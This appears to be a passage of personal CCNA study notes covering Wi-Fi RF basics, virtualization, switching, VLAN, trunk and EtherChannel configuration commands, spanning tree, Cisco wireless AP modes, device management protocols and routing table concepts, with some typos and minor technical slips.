Radio Frequency (RF) is a key aspect of wireless communication. A RF signal travels through the air in all directions from the source. Many factors can alter waves like: free space path loss, absorption, reflection, refraction, electromagnetic interference, co-channel interference, and regulatory limits that prevent RFs from interfering with other services. Modulation allows digital information to be encoded onto a RF signal. Common modulation techniques in wireless networks include Orthogonal Frequency Division Multiplexing (OFDM), which is used in 802.11a/g/n/ac/ax standards, and Direct Sequence Spread Spectrum (DSSS), used in 802.11b. Wavelength is the distance between consecutive crests (or troughs) of a wave. It is related to the wave's speed v and frequency f by the equation: $\lambda = \frac{v}{f}$ where v is the speed of the wave and f is the frequency of the wave. Amplitude is the maximum displacement of a point on a wave from its equilibrium position. For a sinusoidal wave described by $y = A\sin(\omega t + \phi)$, where y is the displacement, ω is the angular frequency $(2\pi f)$, t is time, and ϕ is the phase angle, the amplitude A is simply the coefficient of the sine function: A. Frequency is the number of cycles or oscillations of a wave that occur per unit time. It is inversely related to the period (T) of the wave, where period is the time it takes for one complete cycle: $f = \frac{1}{T}$. Phase represents the position within a cycle of a wave at a given time t. It is usually expressed in radians (or degrees) and determines the horizontal shift of the wave relative to a reference point. In the equation $y = A\sin(\omega t + \phi)$, ϕ is the phase angle. A band refers to a broad range of frequencies within the electromagnetic spectrum. The 2.4 GHz band typically spans from 2.400 GHz to 2.4835 GHz. The 5 GHz band covers frequencies from 5.150 GHz to 5.850 GHz. Bands are regulated by national and international authorities to manage spectrum allocation and prevent interference between different wireless services operating in the same or adjacent bands. A channel in wireless communication refers to a specific portion of the RF spectrum that is designed for transmitting data. In the 2.4 GHz band each Wi-Fi channel is typically 20 MHz wide and centered on specific frequencies. In the 2.4 GHz band there are three non-overlapping channels that do not interfere with each other: channel 1 (2.412 GHz), channel 6 (2.437 GHz), and channel 11 (2.462 GHz). In the 5 GHz band, channels can vary in width and are also centered on specific frequencies.

- 802.11 - 2 Mbps, 2.4 GHz
- 802.11b - 11 Mbps, 2.4 GHz
- 802.11g - 54 Mbps, 2.4 GHz
- 802.11a - 54 Mbps, 5 GHz
- 802.11n - 600 Mbps, 2.4/5 GHz
- 802.11ac - 6.93 Gbps, 5 GHz
- 802.11ax - 4x 802.11ac, 2.4/5 GHz

A Service Set Identifier (SSID) refers to the name of a wireless network. It serves as a unique identifier for a wireless network. APs periodically broadcast their SSID to announce their presence to nearby devices. When a device wants to connect to a wireless network, it searches for SSIDs that are being broadcast within a range. Network admins configure the SSID on the AP to differentiate their wireless network from others in the vicinity. They can choose a meaningful name that identifies the organization or location associated with the network. While SSID provides a convenient way for devices to discover and connet to networks, hiding (not broadcasting) the SSID is often mistakenly considered a security measure. However, hiding the SSID does not provide real security as it can still be discovered through various methods. It is recommended to use unique and descriptive SSIDs to avoid confusion and facilitate easy identification for users. Additionally, changing default SSIDs and disabling SSID broadcast (if necessary) can be part of a broader security strategy.

1.12 Explain virtualization fundamentals (server virtualization, containers, and VRFs)

Virtualization, including server virtualization, containers, and VRFs (Virtual Routing and Forwarding), are fundamental technologies in modern IT infrastructure that enable efficient resource utilization, isolation, and management. Server virtualization involves partitioning a physical server into multiple virtual machines (VMs), each running its own operating system (OS) and applications. This efficiently uses server resources by consolidating multiple virtual servers onto a single physical server. VMs are isolated from each other, enhancing security and minimizing the impact of failures. VMs scale well and migration of VMs across physical servers is easier than moving hardware around. A hypervisor is software that enables the creation and management of VMs. It sits directly on the hardware and allocates physical resources to VMs. A VM is a software-based representation of physical computer that runs its own OS and appliations independently of other VMs on the same physical server. Each VM typically runs a guest OS, which can be different from the host OS (the OS on the physical server). Hypervisors manage resource allocation, ensuring each VM gets its fair share of CPU cycles, memory, and storage. Containers provide a lightweight form of virtualization where applications and their dependencies are packaged together as a container image. A container engine is software that manages containers, facilitates creation, deployment, and orchestration of containerized applications. Some examples of container engines: Docker, Kubernetes (for container orchestration), Podman, containered. A container images is an executable package that includes everything needed to run an application: code, runtime, libraries, and dependencies. Containerization, unlike VMs, share the host OS kernel, making them lightweight and fast to start and stop. Containers are isolated from each other using namespaces and control groups (cgroups), ensuring each container has its own filesystem, network, and process space. They are easy to scale horizontally by deploying multiple instances of the same container. VRFs provide logical separation of routing tables within a single physical router or switch. Each VRF maintains its own routing instances, interfaces, and forwarding tables. Logical network segementation enables multiple virtual networks (VRFs) to coexist on the same physical infrastructre without interfering with each other. Each VRF has its own routing table, allowing independent routing decisions based on the VRF-specific configurations. VRFs can have dedicated interfaces or subinterfaces on a physical router, each associated with a specific VRF. This is commonly used in MPLS (Multiprotocol Label Switching) networks to provide VPN (Virtual Private Network) services.

1.13 Describe switching concepts

- 1.13.a MAC learning and aging
- 1.13.b Frame switching
- 1.13.c Frame flooding
- 1.13.d MAC address table

When a switch receives a frame from a device (e.g., a computer or another switch), it examines the source MAC address in the Ethernet frame header. The switch records the source MAC address and the port from which the frame arrived in its MAC address table (also known as CAM table or MAC forwarding table). This process is called MAC learning because the switch dynamically learns which MAC addresses are reachable via which ports. MAC addresses in the MAC address table are not kept indefinitely. Instead, they are periodically aged out to ensure the table remains accurate and efficient. Each entry in the MAC table has a timeout period (aging time) after which it is removed if no frames with that MAC address are received. This prevents stale entries from accumulating in the table, ensuring that the switch forwards frames based on current network conditions. When a switch receives an Ethernet frame, it examines the destination MAC address in the frame header. The switch consults its MAC address table to determine the outgoing port associated with the destination MAC address. If the destination MAC address is already in the table, the switch forwards the frame directly out of the appropriate port. If the destination MAC address is not in the table (unknown destination), the switch uses a process called frame flooding. It floods the frame out of all ports except the port on which the frame was received. This ensures that the frame reaches its destination, as the device with the matching MAC address may be connected to any of the other ports on the switch. Once the frame is flooded, the switch learns the source MAC address and the incoming port, updating its MAC address table for future frames from that source. The MAC address table is a crucial component of a switch's operation. It maps MAC addresses to the ports on the switch where devices with those addresses are connected. The MAC address table contains MAC addresses, port numbers, and aging timers.

2.0 Network Access

2.1 Configure and verify VLANs (normal range 0-1005) spanning multiple switches

- 2.1.a Access ports (data and voice)
- 2.1.b Default VLAN
- 2.1.c InterVLAN connectivity

configure ↓

- Switch(config)# vlan <vlan-id>
- Switch(config-if)# switchport mode access
- Switch(config-if)# switchport access vlan <vlan-id>

verify the following: defined/active VLANs, VTP, access ports (data and voice)

- Switch# show vlan [brief]
- Switch# show interface <interface>[brief]
- Switch# show interfaces status
- Switch# show run

2.2 Configure and verify interswitch connectivity

- 2.2.a Trunk ports
- 2.2.b 802.1Q
- 2.2.c Native VLAN

configure ↓

- Switch(config-if)# switchport mode trunk
- Switch(config-if)# switchport trunk allowed vlan <10,20,30>
- Switch(config-if)# switchport tunk encapsulation <dot1q/isl>
- Switch(config-if)# switchport trunk native vlan <vlan-id>

verify the following: VLANs, native VLAN, VTP, DTP, operational mode

- Switch# show interface trunk

- Switch# show interfaces switchport
- Switch# show interface <interface>

2.3 Configure and verify L2 discovery protocols (CDP/LLDP)

configure ↓

- Switch(config-if)# cdp enable
- Switch(config)# cdp run
- Switch(config)# cdp timer seconds
- Switch(config)# cdp holdtime seconds

verify the following: neighbor information, interface status, version compatibility, timers, information leakage

- Switch# show cdp
- Switch# show cdp traffic
- Switch# show cdp <interface>
- Switch# show cdp neighbors
- Switch# show cdp neighbors detail
- Switch# show cdp entry name

configure ↓

- Switch(config-if)# lldp enable
- Switch(config)# lldp run
- Switch(config-if)# lldp transmit
- Switch(config-if)# lldp receive
- Switch(config)# lldp timer seconds
- Switch(config)# lldp holdtime seconds

verify the following: neighbor information, interace status, LLDP-MED and capabilites, timers, information leakage

- Switch# show lldp
- Switch# show lldp traffic
- Switch# show lldp interface
- Switch# show lldp neighbors
- Switch# show lldp neighbors detail
- Switch# show lldp entry name

2.4 Configure and verify (L2/L3) EtherChannel (LACP)

manual configuration↓

- Switch(config-if-range)# channel-group 1 mode on

- Switch(config)# port-channel load-balance method

dynamic congifuration↓

- Switch(config-if-range)# channel-group 1 mode <desirable/auto>(PAgP)
- Switch(config-if-range)# channel-group 1 mode <active/passive>(LACP)

verify the following: speed, duplex, operational mode, VLANs, STP

- Switch# show etherchannel summary
- Switch# show interfaces status

NOTE: L3 Etherchannel configuration is similar to L2 configuration however: each physical port needs to be a routed port, and the entire channel needs to be a routed port with an IP and mask.

2.5 Interpret basic operations of Rapid PVST+ Spanning Tree Protocol

- 2.5.a Root port, root bridge (primary/secondary), and other port names
- 2.5.b Port states (forwarding/blocking)
- 2.5.c PortFast
- 2.5.d Root guard, loop guard, BPDU filter, and BPDU guard

Spanning Tree Protocol (STP) is a network protocol used to prevent loops in Ethernet networks by dynamically disabling redundant links to ensure a loop-free topology. Switches elect a root bridge which serves as the reference point for all spanning tree calculations. The bridge with the lowest BID found in BPDUs becomes the root bridge. The BID consists of a 2-byte priority field (default 32768) and a 6-byte system ID, with the system ID being based on a universal (burned-in) MAC address in each switch. Because the two-part BID starts with the priority value, essentially the switch with the lowest priority becomes the root. Each switch calculates the cost to reach the root bridge based on the path's bandwidth. Higher bandwidth links have lower costs. This ensures that the shortest path to the root bridge is selected for forwarding frames. Each non-root bridge selects one root port, which is the port with the lowest cost to reach the root bridge. If there are multiple paths with the same cost, the switch selects the path with the lowest neighbor bridge ID. STP cost is based on the operational speed of the link, not the maximum speed. On each LAN segment, one switch port is elected as the Designated Port (DP). The DP is responsible for forwarding traffic towards the root bridge on that segment. STP disables redundant links by blocking certain ports to prevent loops. Ports that are not root ports or designated ports are placed in a blocking state, ensuring a loop-free topology. STP continuously monitors the network topology and adapts to changes such as link failures or additions by recalculating paths and adjusting port states accordingly. When STP is stable the root creates and sends a Hello BPDU, with a root cost of 0, out all its working interfaces. The nonroot switches receive the Hello on their root ports. After changing the Hello to list their own BID as the sender's BID and listing that switch's root cost, the switch forwards the Hello out all DPs. The previous stepes will repeat until something changes. STP convergance relies on 3 timers: Hello (default of 2 seconds and represents the time period between Hellos created by the root), MaxAge (default of 10x the Hello timer and represents how long any switch should wait, after ceasing to hear Hellos, before trying to change the STP topology), and the Forward delay (default 15 seconds and represents the delay that affects the process that occurs when an interface changes from blocking state to forwarding state. A port stays in an interim listening state, and then an interim learning state, for the number of seconds defined by the forward delay timer). Switches using STP can simply move immediately from forwarding to blocking state, but they must take extra time to transition from blocking state to forwarding state. The listening state like the blocking state, does not forward frames. The switch removes old stale MAC table entries for which no frames are received from each MAC address during this period. These stale MAC table entries could be the cause of the temporary loops. The learning state keeps interfaces from forwarding as well, but the switch begins to learn the MAC addresses of frames received on the interface. All together convergance will occur around 30-50 seconds which is pretty slow because of timers and process delays. RSTP adds a machanism by which a switch can replace its root/designated ports with alternate/backup ports respectively, without any waiting to reach a forwarding state (in some conditions). The need for a backup role can be confusing because the need for it only happens in designs that are a little unlikely today. Consider a switch that has a hub connected to one of its ports. That switch port is now connected to more than just a single collision domain. By eliminating the Listening and Learning states found in STP and replacing them with the rapid proposal and agreement process, RSTP reduces unnecessary delays and improves network efficiency. Proposal and Agreement mechanisms in RSTP significantly reduce the time it takes for the network to converge after a topology change. In STP convergence can take a while, whereas RSTP can converge in a few seconds. A proposal is occurs when a switch detects a topology change (such as a link failure or err-recovery), it immediately sends a Proposal message out of its designated ports. The Proposal message indicates that the switch intends to become the root for the affected part of the network. This process helps in quickly determining new paths and minimizing the convergence time. An agreement occurs upon receiving a Proposal message, neighboring switches agree to the new topology by sending an Agreement message back to the proposing switch. The Agreement message confirms that the neighboring switches will forward traffic based on the proposed topology change. This ensures that all switches in the network quickly adapt to the new topology without waiting for traditional STP timers to expire. In RSTP the disabled and blocking states from STP have been collapsed into a single discarding state. In STP you have two interim states: listening, and learning. In RSTP you just have a learning state. In the RSTP convergance process, switches send messages to tell each other that the topology has changed. Those messages also direct neighboring switches to flush the contents of their MAC tables in a way that removes all the potentially loop-causing entries, without a wait. RSTP also has this concept of link types: point-to-point (connects two switches), point-to-point edge (connects to an endpoint), and shared ports (connects to hubs). Link types enable the protocol to adapt and optimize spanning tree operations based on the characteristics of network connections. This capability is crucial for achieving faster convergence times and improving the efficiency and reliability of Ethernet networks using RSTP. Despite the differences between RSTP and STP, RSTP remains compatible with STP, allowing gradual deployment and interoperability between older STP bridges and newer RSTP-enabled switches. PVST+ is Cisco's proprietary enhancement of STP that extends STP to support multiple VLANs. It provides a separate instance of STP for each VLAN. Rapid PVST+ is Cisco's enhancement of RSTP, providing rapid convergence and per-VLAN spanning tree support. It combines the rapid convergence benefirs of RSTP with the per-VLAN spanning tree capability of PVST+. MSTP, defined in IEEE 802.1s, is an enhancement that allows multiple VLANs to be mapped to the same spanning tree instance, reducing the number of spanning tree instances required in networks with many VLANs. It reduces CPU and memory usage by consolidating VLANs into fewer instances, enhancing scalability. It has faster convergence times compared to STP due to an improved design and fewer instances to compute on.

The STP cost is based on the speed of the link between switches. The STP costs for Ethernet links are not based on a straightforward mathematical formula like OSPF costs. Instead, they are standardized values defined in the IEEE 802.1D standard, which is the basis for STP.

Ethernet costs ↓

- 10 Mbps = 100
- 100 Mbps = 19
- 1 Gbps = 4
- 10 Gbps = 2
- 40 Gbps = 1
- 100 Gbps = 1

PortFast is a Cisco-specific feature (also known as Fast Link or Edge Port) that allows a switch port to bypass the listening and learning states of STP/RSTP and immediately transition to the forwarding state when it is activated. PortFast is typically used on ports connected to end devices (like computers or printers) where no switches are expected to be connected downstream. It speeds up the connectivity process for end devices by eliminating the STP/RSTP delay states. STP supports preemption unlike OSPF. Preemption refers to the ability of a switch with a higher priority (lower BID) to take over the role of the root bridge if it becomes available. Root Guard is a feature that protects the network by enforcing a designated switch (root bridge) location. It prevents a switch from becoming the root bridge if it receives superior Bridge Protocol Data Units (BPDUs) from unexpected switches. Root Guard is applied on ports where the network administrator expects the root bridge to be located. If superior BPDUs are received on a port with

Root Guard enabled, the port is placed into a root-inconsistent state (blocked) to maintain the integrity of the spanning tree topology. Loop Guard is a feature that helps prevent layer 2 forwarding loops that can occur when a port stops receiving BPDUs from its designated bridge. Loop Guard monitors the receipt of BPDUs on non-designated ports. If a port stops receiving BPDUs (indicating a possible loop or misconfiguration), Loop Guard puts the port into a loop-inconsistent state (blocked) until it starts receiving BPDUs again. BPDU Filter is a feature that allows a switch port to ignore received BPDUs entirely, effectively disabling STP/RSTP on that port. BPDU Filter is often used on ports connected to end devices or in scenarios where spanning tree is not required. It prevents BPDUs from being transmitted or received on the port, which can potentially lead to loops if used improperly. BPDU Guard is a feature that protects the network from misconfigured or unauthorized switches by placing a port into an error-disabled state if it receives BPDUs. BPDU Guard is typically enabled on ports where switches are not expected to be connected (like access ports). If a BPDU is received on a port with BPDU Guard enabled, the port is shut down (error-disabled state), preventing potential loops or network disruptions caused by unauthorized devices.

2.6 Describe Cisco Wireless Architectures and AP modes

Cisco offers various wireless architectures and access point (AP) modes that cater to different deployment scenarios and network requirements. For example an autonomous architecture has APs operate independently without requiring a wireless LAN controller (WLC). The configuration and management are done directly on each AP. This architecture is suitable for smaller deployments where centralized management is not necessary. A centralized architecture has APs (Lightweight APs, LAPs) connect to a central wireless LAN controller (WLC). WLCs will manage AP configurations, firmware updates, and client connectivity. This architecture provides centralized control and monitoring, ideal for medium to large-scale deployments. Cisco Access Points (APs) offer a range of operational modes designed to meet specific networking needs across various environments. In Autonomous Mode, Cisco APs operate independently without the need for a central WLC. Each AP is individually managed and configured through its own web interface or command-line interface (CLI). This mode is suitable for smaller deployments or environments where centralized management is not required. Similar to Autonomous Mode, Standalone Mode refers to APs that operate independently, but can be centrally managed through a cloud-based management platform or a dedicated management appliance. This mode provides flexibility in management while still allowing individual AP configuration. Mesh Mode allows APs to create wireless mesh networks where APs communicate with each other wirelessly to extend network coverage without the need for Ethernet cabling between APs. This mode is commonly used in outdoor deployments or scenarios where wiring infrastructure is impractical. Workgroup Bridge Mode allows an AP to connect wired devices, such as printers or gaming consoles, to a wireless network. The AP acts as a bridge between wired and wireless networks, enabling seamless integration of wired devices into the wireless network. From a WLC, you can also configure a lightweight APs to operate in different special-purpose modes. Local Mode is the standard operational mode where APs are managed centrally by a Wireless LAN Controller (WLC). This mode allows for centralized configuration, monitoring, and control of APs, making it ideal for large-scale deployments requiring consistent management and advanced features such as radio frequency optimization and client load balancing. Monitor Mode transforms APs into dedicated sensors that continuously scan the wireless spectrum for rogue devices, interference sources, and potential security threats. This mode enhances network security by providing real-time monitoring and threat detection capabilities. FlexConnect Mode provides a hybrid approach, allowing APs to locally switch traffic while still maintaining connectivity to the WLC. This mode is beneficial for branch offices or remote sites with limited WAN connectivity, as it allows local traffic to be processed locally without backhauling all traffic to the central controller. Sniffer Mode enables APs to capture and analyze wireless traffic for troubleshooting and performance monitoring purposes. Network administrators use this mode to diagnose connectivity issues, analyze traffic patterns, and investigate security incidents by examining packet-level details. Rogue Detector Mode enhances security by actively scanning and detecting unauthorized or rogue devices within the vicinity of the AP. It alerts administrators to potential security breaches and ensures the integrity of the wireless network. Bridge Mode facilitates point-to-point or point-to-multipoint bridging between networks, extending connectivity over longer distances without the need for additional wiring infrastructure. Flex+Bridge Mode combines the features of FlexConnect and Bridge modes, allowing APs to locally switch traffic while also supporting point-to-point bridging capabilities. SE-Connect (OfficeExtend Mode) extends the corporate network securely to remote locations, enabling teleworkers to connect securely to enterprise resources from home or other remote sites. This mode ensures that remote workers can access corporate applications and services securely over the internet, maintaining productivity and data confidentiality. Each of these operational modes for Cisco APs offers specific functionalities and benefits, catering to diverse networking requirements and providing flexibility in designing and managing wireless networks effectively across various organizational settings. Cisco offers a range of deployment modes for their Access Points (APs), each tailored to different network architectures, management requirements, and scalability needs. Unified deployment involves centrally managed APs through Wireless LAN Controllers (WLCs) typically located in data centers or server rooms. A single WLC can support anywhere from hundreds to thousands of APs and tens of thousands of clients. This centralized approach allows for consistent configuration, monitoring, and security policy enforcement across the entire wireless network. Unified deployment is ideal for medium to large-scale enterprises that require centralized management, advanced security features, and high scalability. Cloud deployment shifts management functions to cloud-based controllers such as Cisco Meraki Dashboard or Cisco DNA Center. These platforms can scale to support thousands of APs and tens of thousands of clients across geographically dispersed locations. Cloud deployment offers simplified management, automatic firmware updates, and robust analytics, making it suitable for distributed enterprises, retail chains, or organizations with remote offices that require centralized management without the need for on-premises hardware. Embedded deployment integrates controller functionalities directly into the AP hardware itself. Each AP can manage a local group of up to a dozen APs and supports hundreds to a few thousand clients, depending on the specific AP model and configuration. This model eliminates the need for separate physical or virtual WLCs, making it cost-effective and ideal for smaller-scale deployments like small offices, retail stores, or temporary setups where simplicity and minimal infrastructure are prioritized. Mobility Express is a controller-less solution where one AP serves as the Master AP, managing up to approximately 25 additional APs. This deployment model supports thousands of clients and is suitable for small to medium-sized deployments that require centralized management features without the complexity of a separate WLC. Mobility Express is ideal for branch offices, small businesses, or educational institutions looking for easy deployment and management capabilities.

2.7 Describe physical infrastructure connections of WLAN components (AP, WLC, access/trunk ports, and LAG)

APs are deployed in various environments such as offices, warehouses, campuses, and outdoor spaces. Each deployment scenario requires consideration of factors like coverage area, density of client devices, and environmental conditions. APs typically have one or more Ethernet ports. These ports are used for connecting the AP to the local network infrastructure, providing both data connectivity and Power over Ethernet (PoE) if supported. APs can be ceiling-mounted, wall-mounted, or placed on desktops. Mounting affects signal propagation and coverage patterns, requiring careful planning to ensure optimal coverage and performance for client devices. WLCs centralize the management and control of APs in a WLAN deployment. They are essential for configuring APs, applying policies (such as security settings and QoS), and managing software updates centrally. WLCs are typically connected to the network via Ethernet ports. These ports handle both management traffic (for WLC administration) and data traffic (for communication with APs and client devices). Deployment scenarios often include redundant WLCs for failover purposes, ensuring continuous operation of the WLAN even if one WLC fails.Access ports are used to connect end devices or single VLAN devices such as APs. Access ports typically belong to a single VLAN and carry traffic only for that VLAN. Configuration involves setting the port mode (access mode), assigning the VLAN ID, and optionally configuring PoE settings if connecting PoE-enabled devices like APs. Trunk ports carry traffic for multiple VLANs over a single link. They are used to interconnect switches, routers, and WLCs to support VLAN tagging (802.1Q). Configuration includes setting the port mode (trunk mode), allowing all VLANs or specific VLANs across the trunk, configuring VLAN tagging parameters, and ensuring consistency across interconnected devices. LAG (or EtherChannel in Cisco terms) combines multiple physical links into a single logical link. This increases bandwidth between devices and provides redundancy in case of link failures. Configuring LAG involves grouping multiple physical links into a logical bundle, configuring parameters such as load-balancing algorithms and failover policies, and ensuring compatibility and consistency across interconnected devices (e.g., switches and WLCs). LAG enhances network reliability, load balancing across links, and scalability by aggregating bandwidth effectively. It is commonly used between switches and WLCs or between switches and high-demand devices like servers or storage systems.PoE provides power and data connectivity over a single Ethernet cable, simplifying AP deployment and reducing installation costs. APs must be compatible with PoE standards (e.g., IEEE 802.3af, 802.3at) supported by network switches. Understanding cable types (e.g., Cat5e, Cat6) and their capabilities (bandwidth, maximum length) ensures proper connectivity and performance for APs, WLCs, and other network devices. Proper placement of APs considering coverage areas, client density, and interference sources (e.g., walls, electronic devices) is crucial for optimizing wireless signal strength and minimizing dead zones. Best practices include conducting site surveys to determine AP placement, configuring APs and WLCs according to manufacturer guidelines, and ensuring security measures (e.g., encryption, VLAN segmentation) are implemented. Implementing security measures such as VLAN segregation to isolate different types of network traffic, using firewalls to protect against unauthorized access, and employing encryption protocols (e.g., WPA2-Enterprise) to secure wireless communications. Troubleshooting physical connectivity issues such as cable faults, improper PoE settings, misconfigured port settings (access vs. trunk), and VLAN mismatch errors. Steps include verifying physical connections, checking LED status on devices for link and activity, using diagnostic tools (e.g., ping, traceroute) to identify network path issues, and reviewing configuration settings for accuracy and consistency.

2.8 Describe network device management access (Telnet, SSH, HTTP, HTTPS, console, TACACS+/RADIUS, and cloud managed)

Telnet, a legacy protocol, operates over TCP/IP to establish bidirectional, text-oriented communication sessions between a client and a server. Historically, it was widely used for remote access and management of network devices due to its simplicity. However, Telnet transmits data in plaintext, making it vulnerable to eavesdropping and interception. As a result, it is considered insecure and not recommended for use in environments where data confidentiality and integrity are critical. In modern networking, Telnet has largely been replaced by more secure alternatives such as SSH.

SSH is a secure network protocol designed to provide encrypted communication sessions over a network. It addresses the security concerns of Telnet by encrypting data exchanged between the client and server. SSH uses strong encryption algorithms to ensure confidentiality and integrity of transmitted data, protecting against eavesdropping, interception, and tampering. It is widely used for securely accessing and managing network devices, servers, and other computing resources remotely. SSH operates over port 22 by default and is considered the standard for secure remote access and management in networking.

HTTP is a protocol used for transferring hypertext requests and information on the World Wide Web. It operates over port 80 and is commonly associated with web-based management interfaces (web GUIs) of network devices. Administrators use HTTP to access initial device setup, basic configuration, and monitoring interfaces through a web browser. However, HTTP lacks encryption, exposing data to potential interception. To address this security concern, HTTPS employs SSL/TLS encryption to secure communications between the client (browser) and the network device. HTTPS operates over port 443 and ensures data confidentiality and integrity, making it suitable for accessing management interfaces securely over the web.

Console access provides direct physical or serial connectivity to a network device's console port using a terminal emulator. It offers out-of-band management capabilities, allowing administrators to configure, troubleshoot, and recover devices even when network connectivity is unavailable or compromised. Console access is essential for initial device setup, debugging network issues, and performing critical maintenance tasks. It provides a direct interface to the device's operating system and configuration settings, offering a reliable method for managing network devices independently of network conditions. The recommended Cisco serial connection specifications—9600 baud, 8 data bits, 1 stop bit—refer to the settings used for connecting to Cisco devices via a serial console port. Baud rate refers to the speed at which data is transmitted over the serial connection. A baud rate of 9600 means that 9600 bits of data are transmitted per second. This baud rate is a common standard for serial console connections to Cisco devices. It provides a balance between speed and reliability, suitable for most configuration and troubleshooting tasks. Data bits specify the number of bits used for each character of data transmitted over the serial connection. In this case, 8 data bits means that each character is transmitted using 8 bits. 8 data bits is the standard configuration for most serial communications and is widely supported by Cisco devices and terminal emulation software. The stop bit indicates the end of a data frame. It follows the data bits and provides a brief pause that indicates the completion of the data transmission for that character. 1 stop bit is the standard setting and is sufficient for most serial communication protocols.

TACACS+ (port 49) and RADIUS (port 1812 for authentication and port 1813 for accounting) are authentication protocols used for providing centralized Authentication, Authorization, and Accounting (AAA) services in network management. TACACS+ offers more features and flexibility compared to RADIUS, including command authorization and administrative command logging. Both protocols authenticate users attempting to access network devices, authorize their actions based on predefined policies, and log their activities for audit purposes. They integrate with existing user databases and support multi-factor authentication, enhancing security in managing network access and operations.

Cloud-managed networking revolutionizes network device management by centralizing control through cloud-based platforms and services. It allows administrators to configure, monitor, and troubleshoot network devices from a single web-based dashboard accessible anywhere with internet connectivity. Cloud-managed solutions simplify network management tasks, streamline configuration updates, and provide real-time visibility into network performance and security. They offer scalability, automatic software updates, and remote troubleshooting capabilities, making them ideal for distributed deployments and organizations seeking agile network management solutions.

2.9 Interpret the wireless LAN GUI configuration for client connectivity, such as WLAN creation, security settings, QoS profiles, and advanced settings

To begin configuring WLAN settings for client connectivity using the Cisco GUI, first log in to the wireless controller or management interface. Navigate to the WLAN configuration section, typically found under the wireless settings menu. Start by creating a new WLAN profile, where you will define the Service Set Identifier (SSID) that clients will use to connect. Specify whether to broadcast the SSID or keep it hidden for security purposes. Next, configure the security settings for the WLAN. Choose between Open, WPA2-PSK, WPA3-PSK, or 802.1X authentication methods based on your security requirements. Set the encryption type to AES for optimal security. Optionally, configure QoS profiles to prioritize traffic such as voice or video over the WLAN. Adjust advanced settings like band steering to optimize client connections between 2.4 GHz and 5 GHz bands, and set up roaming policies and load balancing for seamless client mobility and better network performance. Finally, save your configurations and monitor client connectivity status and performance through the GUI's monitoring tools. This walkthrough ensures a comprehensive setup of WLAN settings tailored for efficient client connectivity and network management.

3.0 IP Connectivity

3.1 Interpret the compnents of routing table

- 3.1.a Routing protocol code
- 3.1.b Prefix
- 3.1.c Network mask
- 3.1.d Next hop
- 3.1.e Administrative distance
- 3.1.f Metric
- 3.1.g Gateway of last resort

Routing protocol codes are identifiers used by routing protocols to signify the source or type of the route entry. Common codes include ”C” for directly connected routes, ”S” for static routes, ”D” for EIGRP (Enhanced Interior Gateway Routing Protocol), ”O” for OSPF (Open Shortest Path First), ”R” for RIP (Routing Information Protocol), and ”B” for BGP (Border Gateway Protocol). Understanding these codes helps identify how routes are learned and maintained within the routing table, providing insights into the network's routing behavior and dynamics.

The prefix (or network address) specifies the destination network or subnet for which the route is applicable. Expressed in CIDR (Classless Inter-Domain Routing) notation, indicating the network address followed by a slash (”/”) and the subnet mask length. 192.168.1.0/24 denotes the IPv4 network address 192.168.1.0 with a subnet mask of 255.255.255.0. Identifying the prefix helps determine the specific destination networks reachable via routing entries, facilitating packet forwarding decisions based on matching destination IP addresses.

The network mask (or subnet mask) specifies which portion of the IP address identifies the network and which portion identifies the host. The format is expressed in dotted-decimal notation (e.g., 255.255.255.0 for a /24 subnet mask). The role is to determine the boundaries of network segments and assists in route aggregation (summarization) by grouping multiple contiguous networks into a single route entry.

The next hop indicates the IP address of the next router or gateway where packets should be forwarded to reach the destination network. It represents the immediate forwarding address for traffic destined to the specified network prefix. Helps routers make forwarding decisions by specifying the next router or gateway in the path toward the destination, facilitating hop-by-hop packet delivery across interconnected networks.

The AD is a measure used by routers to prioritize between routes when multiple sources provide route information to the same destination. Lower administrative distance values indicate higher preference for a route. It helps routers select the most reliable and preferred path to reach a destination in case of route redundancy or multiple route options.

- Connected routes - 0
- Static routes - 1
- NDP - 2
- EIGRP - 90
- OSPF - 110
- RIP - 120
- Unknown or unbelievable - 255

Metric is a numerical value assigned to a route by a routing protocol to represent the cost associated with reaching a particular destination network. It quantifies the optimal path selection based on criteria such as hop count, bandwidth, delay, reliability, or other factors defined by the routing protocol. Routers use the metric value to compare and determine the best path among potential routes to a destination, ensuring efficient packet forwarding and optimal network utilization. IGPs operate within an autonomous system (AS), typically a single organization's network, and focus on efficient routing within that network. Metrics like hop count, bandwidth, and delay are chosen to optimize internal routing. IGPs generally use simpler distance vector or link state algorithms to compute routes based on predefined metrics. In contrast, EGPs like BGP use more complex path vector algorithms that consider attributes of the complete route path. IGPs use metrics directly related to the characteristics of links (like hop count, bandwidth, delay, and cost) within the AS. EGPs rely more on administrative policies (like administrative distance and path attributes) and are concerned with inter-domain routing and policy enforcement.

The gateway of last resort (default route) is a special route entry in the routing table used when no specific route matches the destination IP address of a packet. It serves as the default path for forwarding packets to destinations not explicitly listed in the routing table, ensuring connectivity to remote networks or the internet. Administrators configure the default route with a next hop IP address or interface to direct packets to a default gateway when no specific route matches.

3.2 Determine how a router makes a forwarding decision by default

- 3.2.a Longest prefix match
- 3.2.b Administrative distance
- 3.2.c Routing protocol metric

The router compares the destination IP address of the packet to the entries in its routing table and selects the entry with the longest prefix match. The longest prefix match means that the router selects the route that has the most specific prefix (i.e., the longest matching network mask). This ensures that the router forwards packets to the most specific destination network entry in its routing table. For example, if the router has entries for both 192.168.1.0/24 and 192.168.1.128/25, and the destination IP is 192.168.1.130, it will choose the latter because it matches more bits.

Administrative distance is a measure of the trustworthiness of a routing information source. When multiple routing protocols or sources provide information about the same destination network, the router prefers routes with lower administrative distances. For instance, a directly connected network typically has an administrative distance of 0, indicating the most preferred route, while routes learned from BGP might have higher administrative distances. The router selects the route with the lowest administrative distance as the best path.

A metric is a value used by routing protocols to measure the suitability of a route. Each routing protocol calculates metrics differently (e.g., hop count, bandwidth, delay). When a router learns multiple routes to the same destination from the same routing protocol, it selects the route with the lowest metric value as the best path. This ensures that the router chooses the most optimal route according to the metric specified by the routing protocol.

3.3 Configure and verify IPv4 and IPv6 static routing

- 3.3.a Default route
- 3.3.b Network route
- 3.3.c Host route
- 3.3.d Floating static

